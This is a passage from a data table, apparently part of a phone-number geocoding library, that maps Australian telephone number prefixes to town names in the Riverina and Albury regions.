'612593991':{'en': 'Marsden'},
'612593992':{'en': 'Maude'},
'612593993':{'en': 'Melbergen'},
'612593994':{'en': 'Merriwagga'},
'612593995':{'en': 'Milbrulong'},
'612593996':{'en': 'Morundah'},
'612593997':{'en': 'Nangus'},
'612593998':{'en': 'Narraburra'},
'612593999':{'en': 'Narrandera'},
'612594000':{'en': 'Rankins Springs'},
'612594001':{'en': 'Rannock'},
'612594002':{'en': 'Sandigo'},
'612594003':{'en': 'Springdale'},
'612594004':{'en': 'Stanbridge'},
'612594005':{'en': 'Stockinbingal'},
'612594006':{'en': 'Talbingo'},
'612594007':{'en': 'Tallimba'},
'612594008':{'en': 'Tarcutta'},
'612594009':{'en': 'Temora'},
'612594010':{'en': 'The Rock'},
'612594011':{'en': 'Tooma'},
'612594012':{'en': 'Tullibigeal'},
'612594013':{'en': 'Tumbarumba'},
'612594014':{'en': 'Tumorrama'},
'612594015':{'en': 'Tumut'},
'612594016':{'en': 'Ungarie'},
'612594017':{'en': 'Urana'},
'612594018':{'en': 'Wagga Wagga'},
'612594019':{'en': 'Wallanthery'},
'612594020':{'en': 'Wallendbeen'},
'612594021':{'en': 'Wantabadgery'},
'612594022':{'en': 'Warralonga'},
'612594023':{'en': 'Warrawidgee'},
'612594024':{'en': 'Wee Elwah'},
'612594025':{'en': 'Weethalle'},
'612594026':{'en': 'West Wyalong'},
'612594027':{'en': 'Winchendon Vale'},
'612594028':{'en': 'Yaven Creek'},
'612594029':{'en': 'Yenda'},
'61259403':{'en': 'Batlow'},
'61259404':{'en': 'Batlow'},
'61259405':{'en': 'Batlow'},
'612594060':{'en': 'The Rock'},
'612594061':{'en': 'Tooma'},
'612594062':{'en': 'Tullibigeal'},
'612594063':{'en': 'Tumbarumba'},
'612594064':{'en': 'Tumorrama'},
'612594065':{'en': 'Tumut'},
'612594066':{'en': 'Ungarie'},
'612594067':{'en': 'Urana'},
'612594068':{'en': 'Wagga Wagga'},
'612594069':{'en': 'Wallanthery'},
'612594070':{'en': 'Wallendbeen'},
'612594071':{'en': 'Wantabadgery'},
'612594072':{'en': 'Warralonga'},
'612594073':{'en': 'Warrawidgee'},
'612594074':{'en': 'Wee Elwah'},
'612594075':{'en': 'Weethalle'},
'612594076':{'en': 'West Wyalong'},
'612594077':{'en': 'Winchendon Vale'},
'612594078':{'en': 'Yaven Creek'},
'612594079':{'en': 'Yenda'},
'612594080':{'en': 'Adelong'},
'612594081':{'en': 'Alleena'},
'612594082':{'en': 'Ardlethan'},
'612594083':{'en': 'Ariah Park'},
'612594084':{'en': 'Bambilla'},
'612594085':{'en': 'Barellan'},
'612594086':{'en': 'Barmedman'},
'612594087':{'en': 'Barmedman East'},
'612594088':{'en': 'Batlow'},
'612594089':{'en': 'Bethungra'},
'612594090':{'en': 'Bidgeemia'},
'612594091':{'en': 'Black Stump'},
'612594092':{'en': 'Booroorban'},
'612594093':{'en': 'Boree Creek'},
'612594094':{'en': 'Bunda'},
'612594095':{'en': 'Bundure'},
'612594096':{'en': 'Burcher'},
'612594097':{'en': 'Burra'},
'612594098':{'en': 'Carabost'},
'612594099':{'en': 'Carrathool'},
'612594100':{'en': 'Coleambally'},
'612594101':{'en': 'Coolac'},
'612594102':{'en': 'Coolamon'},
'612594103':{'en': 'Cootamundra'},
'612594104':{'en': 'Cowabbie'},
'612594105':{'en': 'Currawarna'},
'612594106':{'en': 'Darlington Point'},
'612594107':{'en': 'Egansford'},
'612594108':{'en': 'Gala Vale'},
'612594109':{'en': 'Galore'},
'612594110':{'en': 'Ganmain'},
'612594111':{'en': 'Goolgowi'},
'612594112':{'en': 'Griffith'},
'612594113':{'en': 'Grong Grong'},
'612594114':{'en': 'Gunbar'},
'612594115':{'en': 'Gundagai'},
'612594116':{'en': 'Hay'},
'612594117':{'en': 'Henty'},
'612594118':{'en': 'Hillston'},
'612594119':{'en': 'Humula'},
'612594120':{'en': 'Ivanhoe'},
'612594121':{'en': 'Junee'},
'612594122':{'en': 'Junee Reefs'},
'612594123':{'en': 'Kikoira'},
'612594124':{'en': 'Kyeamba'},
'612594125':{'en': 'Lachlan'},
'612594126':{'en': 'Landervale'},
'612594127':{'en': 'Leeton'},
'612594128':{'en': 'Lockhart'},
'612594129':{'en': 'Mangoplah'},
'612594130':{'en': 'Mannus'},
'612594131':{'en': 'Marsden'},
'612594132':{'en': 'Maude'},
'612594133':{'en': 'Melbergen'},
'612594134':{'en': 'Merriwagga'},
'612594135':{'en': 'Milbrulong'},
'612594136':{'en': 'Morundah'},
'612594137':{'en': 'Nangus'},
'612594138':{'en': 'Narraburra'},
'612594139':{'en': 'Narrandera'},
'612594140':{'en': 'Rankins Springs'},
'612594141':{'en': 'Rannock'},
'612594142':{'en': 'Sandigo'},
'612594143':{'en': 'Springdale'},
'612594144':{'en': 'Stanbridge'},
'612594145':{'en': 'Stockinbingal'},
'612594146':{'en': 'Talbingo'},
'612594147':{'en': 'Tallimba'},
'612594148':{'en': 'Tarcutta'},
'612594149':{'en': 'Temora'},
'612594150':{'en': 'The Rock'},
'612594151':{'en': 'Tooma'},
'612594152':{'en': 'Tullibigeal'},
'612594153':{'en': 'Tumbarumba'},
'612594154':{'en': 'Tumorrama'},
'612594155':{'en': 'Tumut'},
'612594156':{'en': 'Ungarie'},
'612594157':{'en': 'Urana'},
'612594158':{'en': 'Wagga Wagga'},
'612594159':{'en': 'Wallanthery'},
'612594160':{'en': 'Wallendbeen'},
'612594161':{'en': 'Wantabadgery'},
'612594162':{'en': 'Warralonga'},
'612594163':{'en': 'Warrawidgee'},
'612594164':{'en': 'Wee Elwah'},
'612594165':{'en': 'Weethalle'},
'612594166':{'en': 'West Wyalong'},
'612594167':{'en': 'Winchendon Vale'},
'612594168':{'en': 'Yaven Creek'},
'612594169':{'en': 'Yenda'},
'612594170':{'en': 'Adelong'},
'612594171':{'en': 'Alleena'},
'612594172':{'en': 'Ardlethan'},
'612594173':{'en': 'Ariah Park'},
'612594174':{'en': 'Bambilla'},
'612594175':{'en': 'Barellan'},
'612594176':{'en': 'Barmedman'},
'612594177':{'en': 'Barmedman East'},
'612594178':{'en': 'Batlow'},
'612594179':{'en': 'Bethungra'},
'612594180':{'en': 'Bidgeemia'},
'612594181':{'en': 'Black Stump'},
'612594182':{'en': 'Booroorban'},
'612594183':{'en': 'Boree Creek'},
'612594184':{'en': 'Bunda'},
'612594185':{'en': 'Bundure'},
'612594186':{'en': 'Burcher'},
'612594187':{'en': 'Burra'},
'612594188':{'en': 'Carabost'},
'612594189':{'en': 'Carrathool'},
'612594190':{'en': 'Coleambally'},
'612594191':{'en': 'Coolac'},
'612594192':{'en': 'Coolamon'},
'612594193':{'en': 'Cootamundra'},
'612594194':{'en': 'Cowabbie'},
'612594195':{'en': 'Currawarna'},
'612594196':{'en': 'Darlington Point'},
'612594197':{'en': 'Egansford'},
'612594198':{'en': 'Gala Vale'},
'612594199':{'en': 'Galore'},
'6125942':{'en': 'Wagga Wagga'},
'612594200':{'en': 'Ganmain'},
'612594201':{'en': 'Goolgowi'},
'612594202':{'en': 'Griffith'},
'612594203':{'en': 'Grong Grong'},
'612594204':{'en': 'Gunbar'},
'612594205':{'en': 'Gundagai'},
'612594206':{'en': 'Hay'},
'612594207':{'en': 'Henty'},
'612594208':{'en': 'Hillston'},
'612594209':{'en': 'Humula'},
'612594210':{'en': 'Ivanhoe'},
'612594211':{'en': 'Junee'},
'612594212':{'en': 'Junee Reefs'},
'612594213':{'en': 'Kikoira'},
'612594214':{'en': 'Kyeamba'},
'612594215':{'en': 'Lachlan'},
'612594216':{'en': 'Landervale'},
'612594217':{'en': 'Leeton'},
'612594218':{'en': 'Lockhart'},
'612594219':{'en': 'Mangoplah'},
'612594220':{'en': 'Mannus'},
'612594221':{'en': 'Marsden'},
'612594222':{'en': 'Maude'},
'612594223':{'en': 'Melbergen'},
'612594224':{'en': 'Merriwagga'},
'612594225':{'en': 'Milbrulong'},
'612594226':{'en': 'Morundah'},
'612594227':{'en': 'Nangus'},
'612594228':{'en': 'Narraburra'},
'612594229':{'en': 'Narrandera'},
'612594300':{'en': 'Rankins Springs'},
'612594301':{'en': 'Rannock'},
'612594302':{'en': 'Sandigo'},
'612594303':{'en': 'Springdale'},
'612594304':{'en': 'Stanbridge'},
'612594305':{'en': 'Stockinbingal'},
'612594306':{'en': 'Talbingo'},
'612594307':{'en': 'Tallimba'},
'612594308':{'en': 'Tarcutta'},
'612594309':{'en': 'Temora'},
'61259431':{'en': 'Wagga Wagga'},
'61259432':{'en': 'Wagga Wagga'},
'61259433':{'en': 'Wagga Wagga'},
'61259434':{'en': 'Wagga Wagga'},
'612594350':{'en': 'The Rock'},
'612594351':{'en': 'Tooma'},
'612594352':{'en': 'Tullibigeal'},
'612594353':{'en': 'Tumbarumba'},
'612594354':{'en': 'Tumorrama'},
'612594355':{'en': 'Tumut'},
'612594356':{'en': 'Ungarie'},
'612594357':{'en': 'Urana'},
'612594358':{'en': 'Wagga Wagga'},
'612594359':{'en': 'Wallanthery'},
'612594360':{'en': 'Wallendbeen'},
'612594361':{'en': 'Wantabadgery'},
'612594362':{'en': 'Warralonga'},
'612594363':{'en': 'Warrawidgee'},
'612594364':{'en': 'Wee Elwah'},
'612594365':{'en': 'Weethalle'},
'612594366':{'en': 'West Wyalong'},
'612594367':{'en': 'Winchendon Vale'},
'612594368':{'en': 'Yaven Creek'},
'612594369':{'en': 'Yenda'},
'612594370':{'en': 'Adelong'},
'612594371':{'en': 'Alleena'},
'612594372':{'en': 'Ardlethan'},
'612594373':{'en': 'Ariah Park'},
'612594374':{'en': 'Bambilla'},
'612594375':{'en': 'Barellan'},
'612594376':{'en': 'Barmedman'},
'612594377':{'en': 'Barmedman East'},
'612594378':{'en': 'Batlow'},
'612594379':{'en': 'Bethungra'},
'612594380':{'en': 'Bidgeemia'},
'612594381':{'en': 'Black Stump'},
'612594382':{'en': 'Booroorban'},
'612594383':{'en': 'Boree Creek'},
'612594384':{'en': 'Bunda'},
'612594385':{'en': 'Bundure'},
'612594386':{'en': 'Burcher'},
'612594387':{'en': 'Burra'},
'612594388':{'en': 'Carabost'},
'612594389':{'en': 'Carrathool'},
'612594390':{'en': 'Coleambally'},
'612594391':{'en': 'Coolac'},
'612594392':{'en': 'Coolamon'},
'612594393':{'en': 'Cootamundra'},
'612594394':{'en': 'Cowabbie'},
'612594395':{'en': 'Currawarna'},
'612594396':{'en': 'Darlington Point'},
'612594397':{'en': 'Egansford'},
'612594398':{'en': 'Gala Vale'},
'612594399':{'en': 'Galore'},
'612594400':{'en': 'Ganmain'},
'612594401':{'en': 'Goolgowi'},
'612594402':{'en': 'Griffith'},
'612594403':{'en': 'Grong Grong'},
'612594404':{'en': 'Gunbar'},
'612594405':{'en': 'Gundagai'},
'612594406':{'en': 'Hay'},
'612594407':{'en': 'Henty'},
'612594408':{'en': 'Hillston'},
'612594409':{'en': 'Humula'},
'612594410':{'en': 'Ivanhoe'},
'612594411':{'en': 'Junee'},
'612594412':{'en': 'Junee Reefs'},
'612594413':{'en': 'Kikoira'},
'612594414':{'en': 'Kyeamba'},
'612594415':{'en': 'Lachlan'},
'612594416':{'en': 'Landervale'},
'612594417':{'en': 'Leeton'},
'612594418':{'en': 'Lockhart'},
'612594419':{'en': 'Mangoplah'},
'612594420':{'en': 'Mannus'},
'612594421':{'en': 'Marsden'},
'612594422':{'en': 'Maude'},
'612594423':{'en': 'Melbergen'},
'612594424':{'en': 'Merriwagga'},
'612594425':{'en': 'Milbrulong'},
'612594426':{'en': 'Morundah'},
'612594427':{'en': 'Nangus'},
'612594428':{'en': 'Narraburra'},
'612594429':{'en': 'Narrandera'},
'612594430':{'en': 'Rankins Springs'},
'612594431':{'en': 'Rannock'},
'612594432':{'en': 'Sandigo'},
'612594433':{'en': 'Springdale'},
'612594434':{'en': 'Stanbridge'},
'612594435':{'en': 'Stockinbingal'},
'612594436':{'en': 'Talbingo'},
'612594437':{'en': 'Tallimba'},
'612594438':{'en': 'Tarcutta'},
'612594439':{'en': 'Temora'},
'612594440':{'en': 'The Rock'},
'612594441':{'en': 'Tooma'},
'612594442':{'en': 'Tullibigeal'},
'612594443':{'en': 'Tumbarumba'},
'612594444':{'en': 'Tumorrama'},
'612594445':{'en': 'Tumut'},
'612594446':{'en': 'Ungarie'},
'612594447':{'en': 'Urana'},
'612594448':{'en': 'Wagga Wagga'},
'612594449':{'en': 'Wallanthery'},
'612594450':{'en': 'Wallendbeen'},
'612594451':{'en': 'Wantabadgery'},
'612594452':{'en': 'Warralonga'},
'612594453':{'en': 'Warrawidgee'},
'612594454':{'en': 'Wee Elwah'},
'612594455':{'en': 'Weethalle'},
'612594456':{'en': 'West Wyalong'},
'612594457':{'en': 'Winchendon Vale'},
'612594458':{'en': 'Yaven Creek'},
'612594459':{'en': 'Yenda'},
'61259446':{'en': 'Hay'},
'61259447':{'en': 'Wagga Wagga'},
'61259448':{'en': 'Leeton'},
'61259449':{'en': 'Leeton'},
'61259459':{'en': 'Booroorban'},
'61259470':{'en': 'Galore'},
'61259489':{'en': 'Tullibigeal'},
'61259500':{'en': 'Lachlan'},
'6125959':{'en': 'Wagga Wagga'},
'61259600':{'en': 'Ariah Park'},
'61259601':{'en': 'Ariah Park'},
'61259602':{'en': 'Landervale'},
'61259603':{'en': 'Landervale'},
'61259604':{'en': 'Temora'},
'61259605':{'en': 'Temora'},
'61259606':{'en': 'Bunda'},
'61259607':{'en': 'Bunda'},
'61259608':{'en': 'Darlington Point'},
'61259609':{'en': 'Darlington Point'},
'61259610':{'en': 'Goolgowi'},
'61259611':{'en': 'Goolgowi'},
'61259612':{'en': 'Griffith'},
'61259613':{'en': 'Griffith'},
'61259614':{'en': 'Melbergen'},
'61259615':{'en': 'Melbergen'},
'61259616':{'en': 'Merriwagga'},
'61259617':{'en': 'Merriwagga'},
'61259618':{'en': 'Warrawidgee'},
'61259619':{'en': 'Warrawidgee'},
'61259620':{'en': 'Booroorban'},
'61259621':{'en': 'Booroorban'},
'61259622':{'en': 'Hay'},
'61259623':{'en': 'Hay'},
'61259624':{'en': 'Gunbar'},
'61259625':{'en': 'Gunbar'},
'61259626':{'en': 'Ivanhoe'},
'61259627':{'en': 'Ivanhoe'},
'61259628':{'en': 'Lachlan'},
'61259629':{'en': 'Lachlan'},
'61259630':{'en': 'Maude'},
'61259631':{'en': 'Maude'},
'61259632':{'en': 'Wagga Wagga'},
'61259633':{'en': 'Coolamon'},
'61259700':{'en': 'Tullibigeal'},
'61259701':{'en': 'Tallimba'},
'61259702':{'en': 'Alleena'},
'61259703':{'en': 'Kikoira'},
'61259704':{'en': 'Warralonga'},
'61259705':{'en': 'Marsden'},
'61259706':{'en': 'West Wyalong'},
'61259707':{'en': 'West Wyalong'},
'61259708':{'en': 'West Wyalong'},
'61259709':{'en': 'Burcher'},
'61259710':{'en': 'Wagga Wagga'},
'61259711':{'en': 'Wagga Wagga'},
'61259712':{'en': 'Wagga Wagga'},
'61259713':{'en': 'Wagga Wagga'},
'61259714':{'en': 'Wagga Wagga'},
'61259716':{'en': 'Hillston'},
'61259717':{'en': 'Barellan'},
'61259718':{'en': 'Barellan'},
'61259719':{'en': 'Tumorrama'},
'61259761':{'en': 'Wagga Wagga'},
'61259762':{'en': 'Alleena'},
'61259763':{'en': 'Barmedman'},
'61259990':{'en': 'Wagga Wagga'},
'61259995':{'en': 'Griffith'},
'61259996':{'en': 'Wagga Wagga'},
'61259997':{'en': 'Wagga Wagga'},
'61259998':{'en': 'Wagga Wagga'},
'61259999':{'en': 'Griffith'},
'61260000':{'en': 'Albury'},
'61260001':{'en': 'Albury'},
'61260002':{'en': 'Albury'},
'61260003':{'en': 'Balldale'},
'61260004':{'en': 'Balldale'},
'61260005':{'en': 'Balldale'},
'61260006':{'en': 'Barnawartha'},
'61260007':{'en': 'Barnawartha'},
'61260008':{'en': 'Barnawartha'},
'61260009':{'en': 'Albury'},
'61260010':{'en': 'Coppabella'},
'61260011':{'en': 'Coppabella'},
'61260012':{'en': 'Coppabella'},
'61260013':{'en': 'Corowa'},
'61260014':{'en': 'Corowa'},
'61260015':{'en': 'Corowa'},
'61260016':{'en': 'Corryong'},
'61260017':{'en': 'Corryong'},
'61260018':{'en': 'Corryong'},
'61260019':{'en': 'Balldale'},
'61260020':{'en': 'Cudgewa'},
'61260021':{'en': 'Cudgewa'},
'61260022':{'en': 'Cudgewa'},
'61260023':{'en': 'Culcairn'},
'61260024':{'en': 'Culcairn'},
'61260025':{'en': 'Culcairn'},
'61260026':{'en': 'Dartmouth'},
'61260027':{'en': 'Dartmouth'},
'61260028':{'en': 'Dartmouth'},
'61260029':{'en': 'Barnawartha'},
'61260030':{'en': 'Gerogery'},
'61260031':{'en': 'Gerogery'},
'61260032':{'en': 'Gerogery'},
'61260033':{'en': 'Holbrook'},
'61260034':{'en': 'Holbrook'},
'61260035':{'en': 'Holbrook'},
'61260036':{'en': 'Howlong'},
'61260037':{'en': 'Howlong'},
'61260038':{'en': 'Howlong'},
'61260039':{'en': 'Coppabella'},
'61260040':{'en': 'Koetong'},
'61260041':{'en': 'Koetong'},
'61260042':{'en': 'Koetong'},
'61260043':{'en': 'Leicester Park'},
'61260044':{'en': 'Leicester Park'},
'61260045':{'en': 'Leicester Park'},
'61260046':{'en': 'Little Billabong'},
'61260047':{'en': 'Little Billabong'},
'61260048':{'en': 'Little Billabong'},
'61260049':{'en': 'Corowa'},
'61260050':{'en': 'Nariel'},
'61260051':{'en': 'Nariel'},
'61260052':{'en': 'Nariel'},
'61260053':{'en': 'Oaklands'},
'61260054':{'en': 'Oaklands'},
'61260055':{'en': 'Oaklands'},
'61260056':{'en': 'Ournie'},
'61260057':{'en': 'Ournie'},
'61260058':{'en': 'Ournie'},
'61260059':{'en': 'Culcairn'},
'61260060':{'en': 'Rand'},
'61260061':{'en': 'Rand'},
'61260062':{'en': 'Rand'},
'61260063':{'en': 'Rennie'},
'61260064':{'en': 'Rennie'},
'61260065':{'en': 'Rennie'},
'61260066':{'en': 'Talgarno'},
'61260067':{'en': 'Talgarno'},
'61260068':{'en': 'Talgarno'},
'61260069':{'en': 'Gerogery'},
'61260070':{'en': 'Tallangatta'},
'61260071':{'en': 'Tallangatta'},
'61260072':{'en': 'Tallangatta'},
'61260073':{'en': 'Tallangatta Valley'},
'61260074':{'en': 'Tallangatta Valley'},
'61260075':{'en': 'Tallangatta Valley'},
'61260076':{'en': 'Talmalmo'},
'61260077':{'en': 'Talmalmo'},
'61260078':{'en': 'Talmalmo'},
'61260079':{'en': 'Holbrook'},
'61260080':{'en': 'Walla Walla'},
'61260081':{'en': 'Walla Walla'},
'61260082':{'en': 'Walla Walla'},
'61260083':{'en': 'Walwa'},
'61260084':{'en': 'Walwa'},
'61260085':{'en': 'Walwa'},
'61260086':{'en': 'Yackandandah'},
'61260087':{'en': 'Yackandandah'},
'61260088':{'en': 'Yackandandah'},
'61260089':{'en': 'Howlong'},
'61260090':{'en': 'Albury'},
'61260091':{'en': 'Albury'},
'61260092':{'en': 'Balldale'},
'61260093':{'en': 'Barnawartha'},
'61260094':{'en': 'Coppabella'},
'61260095':{'en': 'Yackandandah'},
'61260096':{'en': 'Corowa'},
'61260097':{'en': 'Culcairn'},
'61260098':{'en': 'Gerogery'},
'61260099':{'en': 'Holbrook'},
'61260100':{'en': 'Howlong'},
'61260101':{'en': 'Leicester Park'},
'61260102':{'en': 'Little Billabong'},
'61260103':{'en': 'Oaklands'},
'61260104':{'en': 'Ournie'},
'61260105':{'en': 'Rand'},
'61260106':{'en': 'Rennie'},
'61260107':{'en': 'Talgarno'},
'61260108':{'en': 'Talmalmo'},
'61260109':{'en': 'Walla Walla'},
'61260110':{'en': 'Walwa'},
'61260111':{'en': 'Yackandandah'},
'61260112':{'en': 'Corryong'},
'61260113':{'en': 'Cudgewa'},
'61260114':{'en': 'Dartmouth'},
'61260115':{'en': 'Eskdale'},
'61260116':{'en': 'Koetong'},
'61260117':{'en': 'Nariel'},
'61260118':{'en': 'Tallangatta'},
'61260119':{'en': 'Tallangatta Valley'},
'61260120':{'en': 'Leicester Park'},
'61260121':{'en': 'Little Billabong'},
'61260122':{'en': 'Oaklands'},
'61260123':{'en': 'Ournie'},
'61260124':{'en': 'Rand'},
'61260125':{'en': 'Rennie'},
'61260126':{'en': 'Talgarno'},
'61260127':{'en': 'Talmalmo'},
'61260128':{'en': 'Walla Walla'},
'61260129':{'en': 'Walwa'},
'61260130':{'en': 'Yackandandah'},
'61260131':{'en': 'Corryong'},
'61260132':{'en': 'Cudgewa'},
'61260133':{'en': 'Dartmouth'},
'61260134':{'en': 'Eskdale'},
'61260135':{'en': 'Koetong'},
'61260136':{'en': 'Nariel'},
'61260137':{'en': 'Tallangatta'},
'61260138':{'en': 'Tallangatta Valley'},
'61260139':{'en': 'Albury'},
'61260140':{'en': 'Balldale'},
'61260141':{'en': 'Barnawartha'},
'61260142':{'en': 'Coppabella'},
'61260143':{'en': 'Corowa'},
'61260144':{'en': 'Culcairn'},
'61260145':{'en': 'Gerogery'},
'61260146':{'en': 'Holbrook'},
'61260147':{'en': 'Howlong'},
'61260148':{'en': 'Leicester Park'},
'61260149':{'en': 'Little Billabong'},
'61260150':{'en': 'Oaklands'},
'61260151':{'en': 'Ournie'},
'61260152':{'en': 'Rand'},
'61260153':{'en': 'Rennie'},
'61260154':{'en': 'Talgarno'},
'61260155':{'en': 'Talmalmo'},
'61260156':{'en': 'Walla Walla'},
'61260157':{'en': 'Walwa'},
'61260158':{'en': 'Yackandandah'},
'61260159':{'en': 'Corryong'},
'61260160':{'en': 'Cudgewa'},
'61260161':{'en': 'Dartmouth'},
'61260162':{'en': 'Eskdale'},
'61260163':{'en': 'Koetong'},
'61260164':{'en': 'Nariel'},
'61260165':{'en': 'Tallangatta'},
'61260166':{'en': 'Tallangatta Valley'},
'61260167':{'en': 'Balldale'},
'61260168':{'en': 'Barnawartha'},
'61260169':{'en': 'Coppabella'},
'61260170':{'en': 'Corowa'},
'61260171':{'en': 'Culcairn'},
'61260172':{'en': 'Gerogery'},
'61260173':{'en': 'Holbrook'},
'61260174':{'en': 'Howlong'},
'61260175':{'en': 'Leicester Park'},
'61260176':{'en': 'Little Billabong'},
'61260177':{'en': 'Oaklands'},
'61260178':{'en': 'Ournie'},
'61260179':{'en': 'Rand'},
'61260180':{'en': 'Rennie'},
'61260181':{'en': 'Talgarno'},
'61260182':{'en': 'Talmalmo'},
'61260183':{'en': 'Walla Walla'},
'61260184':{'en': 'Walwa'},
'61260185':{'en': 'Corryong'},
'61260186':{'en': 'Cudgewa'},
'61260187':{'en': 'Dartmouth'},
'61260188':{'en': 'Eskdale'},
'61260189':{'en': 'Koetong'},
'61260190':{'en': 'Nariel'},
'61260191':{'en': 'Tallangatta'},
'61260192':{'en': 'Tallangatta Valley'},
'61260193':{'en': 'Balldale'},
'61260194':{'en': 'Barnawartha'},
'61260195':{'en': 'Coppabella'},
'61260196':{'en': 'Corowa'},
'61260197':{'en': 'Culcairn'},
'61260198':{'en': 'Gerogery'},
'61260199':{'en': 'Holbrook'},
'6126020':{'en': 'Talgarno'},
'61260206':{'en': 'Albury'},
'61260207':{'en': 'Albury'},
'61260208':{'en': 'Albury'},
'61260209':{'en': 'Albury'},
'6126021':{'en': 'Albury'},
'6126022':{'en': 'Albury'},
'6126023':{'en': 'Albury'},
'6126024':{'en': 'Albury'},
'6126025':{'en': 'Albury'},
'61260260':{'en': 'Gerogery'},
'61260261':{'en': 'Albury'},
'61260262':{'en': 'Albury'},
'61260263':{'en': 'Albury'},
'61260264':{'en': 'Albury'},
'61260265':{'en': 'Howlong'},
'61260266':{'en': 'Howlong'},
'61260267':{'en': 'Barnawartha'},
'61260268':{'en': 'Howlong'},
'61260269':{'en': 'Barnawartha'},
'6126027':{'en': 'Yackandandah'},
'6126028':{'en': 'Yackandandah'},
'61260290':{'en': 'Rand'},
'61260291':{'en': 'Walla Walla'},
'61260292':{'en': 'Walla Walla'},
'61260293':{'en': 'Walla Walla'},
'61260294':{'en': 'Walla Walla'},
'61260295':{'en': 'Rand'},
'61260296':{'en': 'Culcairn'},
'61260297':{'en': 'Culcairn'},
'61260298':{'en': 'Culcairn'},
'61260299':{'en': 'Rand'},
'61260300':{'en': 'Rennie'},
'61260301':{'en': 'Holbrook'},
'61260302':{'en': 'Coppabella'},
'61260303':{'en': 'Little Billabong'},
'61260304':{'en': 'Corowa'},
'61260305':{'en': 'Corowa'},
'61260306':{'en': 'Corowa'},
'61260307':{'en': 'Balldale'},
'61260308':{'en': 'Leicester Park'},
'61260309':{'en': 'Oaklands'},
'61260310':{'en': 'Howlong'},
'61260311':{'en': 'Leicester Park'},
'61260312':{'en': 'Little Billabong'},
'61260313':{'en': 'Oaklands'},
'61260314':{'en': 'Ournie'},
'61260315':{'en': 'Rand'},
'61260316':{'en': 'Rennie'},
'61260317':{'en': 'Talgarno'},
'61260318':{'en': 'Talmalmo'},
'61260319':{'en': 'Walla Walla'},
'6126032':{'en': 'Rennie'},
'61260327':{'en': 'Corowa'},
'61260328':{'en': 'Corowa'},
'61260329':{'en': 'Corowa'},
'6126033':{'en': 'Corowa'},
'61260340':{'en': 'Walwa'},
'61260341':{'en': 'Yackandandah'},
'61260342':{'en': 'Corryong'},
'61260343':{'en': 'Cudgewa'},
'61260344':{'en': 'Dartmouth'},
'61260345':{'en': 'Eskdale'},
'61260346':{'en': 'Koetong'},
'61260347':{'en': 'Nariel'},
'61260348':{'en': 'Tallangatta'},
'61260349':{'en': 'Tallangatta Valley'},
'61260350':{'en': 'Balldale'},
'61260351':{'en': 'Balldale'},
'61260352':{'en': 'Corowa'},
'61260353':{'en': 'Corowa'},
'61260354':{'en': 'Oaklands'},
'61260355':{'en': 'Oaklands'},
'61260356':{'en': 'Leicester Park'},
'61260357':{'en': 'Corowa'},
'61260358':{'en': 'Balldale'},
'61260359':{'en': 'Rennie'},
'6126036':{'en': 'Holbrook'},
'61260367':{'en': 'Little Billabong'},
'61260368':{'en': 'Coppabella'},
'61260369':{'en': 'Coppabella'},
'6126037':{'en': 'Walwa'},
'61260372':{'en': 'Talmalmo'},
'61260373':{'en': 'Talmalmo'},
'61260374':{'en': 'Ournie'},
'61260375':{'en': 'Ournie'},
'61260380':{'en': 'Albury'},
'61260381':{'en': 'Balldale'},
'61260382':{'en': 'Barnawartha'},
'61260383':{'en': 'Coppabella'},
'61260384':{'en': 'Corowa'},
'61260385':{'en': 'Culcairn'},
'61260386':{'en': 'Gerogery'},
'61260387':{'en': 'Holbrook'},
'61260388':{'en': 'Howlong'},
'61260389':{'en': 'Leicester Park'},
'61260390':{'en': 'Little Billabong'},
'61260391':{'en': 'Oaklands'},
'61260392':{'en': 'Ournie'},
'61260393':{'en': 'Rand'},
'61260394':{'en': 'Rennie'},
'61260395':{'en': 'Talgarno'},
'61260396':{'en': 'Talmalmo'},
'61260397':{'en': 'Walla Walla'},
'61260398':{'en': 'Walwa'},
'61260399':{'en': 'Yackandandah'},
'6126040':{'en': 'Albury'},
'6126041':{'en': 'Albury'},
'61260420':{'en': 'Albury'},
'61260421':{'en': 'Albury'},
'61260422':{'en': 'Albury'},
'61260423':{'en': 'Albury'},
'61260424':{'en': 'Albury'},
'61260425':{'en': 'Balldale'},
'61260426':{'en': 'Balldale'},
'61260427':{'en': 'Balldale'},
'61260428':{'en': 'Barnawartha'},
'61260429':{'en': 'Barnawartha'},
'6126043':{'en': 'Albury'},
'61260440':{'en': 'Coppabella'},
'61260441':{'en': 'Coppabella'},
'61260442':{'en': 'Corowa'},
'61260443':{'en': 'Corowa'},
'61260444':{'en': 'Corowa'},
'61260445':{'en': 'Corowa'},
'61260446':{'en': 'Culcairn'},
'61260447':{'en': 'Culcairn'},
'61260448':{'en': 'Culcairn'},
'61260449':{'en': 'Walla Walla'},
'61260450':{'en': 'Corryong'},
'61260451':{'en': 'Cudgewa'},
'61260452':{'en': 'Dartmouth'},
'61260453':{'en': 'Eskdale'},
'61260454':{'en': 'Koetong'},
'61260455':{'en': 'Nariel'},
'61260456':{'en': 'Tallangatta'},
'61260457':{'en': 'Tallangatta Valley'},
'61260458':{'en': 'Albury'},
'61260459':{'en': 'Albury'},
'61260460':{'en': 'Albury'},
'61260461':{'en': 'Balldale'},
'61260462':{'en': 'Barnawartha'},
'61260463':{'en': 'Yackandandah'},
'61260464':{'en': 'Yackandandah'},
'61260465':{'en': 'Yackandandah'},
'61260468':{'en': 'Howlong'},
'61260469':{'en': 'Albury'},
'6126047':{'en': 'Albury'},
'6126048':{'en': 'Albury'},
'6126049':{'en': 'Albury'},
'61260500':{'en': 'Ournie'},
'61260501':{'en': 'Barnawartha'},
'61260502':{'en': 'Culcairn'},
'61260503':{'en': 'Gerogery'},
'61260504':{'en': 'Howlong'},
'61260505':{'en': 'Rand'},
'61260506':{'en': 'Talgarno'},
'61260507':{'en': 'Walla Walla'},
'61260508':{'en': 'Walwa'},
'61260509':{'en': 'Yackandandah'},
'6126051':{'en': 'Albury'},
'61260520':{'en': 'Gerogery'},
'61260521':{'en': 'Gerogery'},
'61260522':{'en': 'Holbrook'},
'61260523':{'en': 'Holbrook'},
'61260524':{'en': 'Howlong'},
'61260525':{'en': 'Howlong'},
'61260526':{'en': 'Rand'},
'61260527':{'en': 'Rand'},
'61260528':{'en': 'Talgarno'},
'61260529':{'en': 'Talgarno'},
'61260530':{'en': 'Corryong'},
'61260536':{'en': 'Tallangatta'},
'61260539':{'en': 'Oaklands'},
'61260540':{'en': 'Albury'},
'61260541':{'en': 'Albury'},
'61260542':{'en': 'Albury'},
'61260548':{'en': 'Tallangatta'},
'61260549':{'en': 'Tallangatta'},
'6126055':{'en': 'Albury'},
'6126056':{'en': 'Albury'},
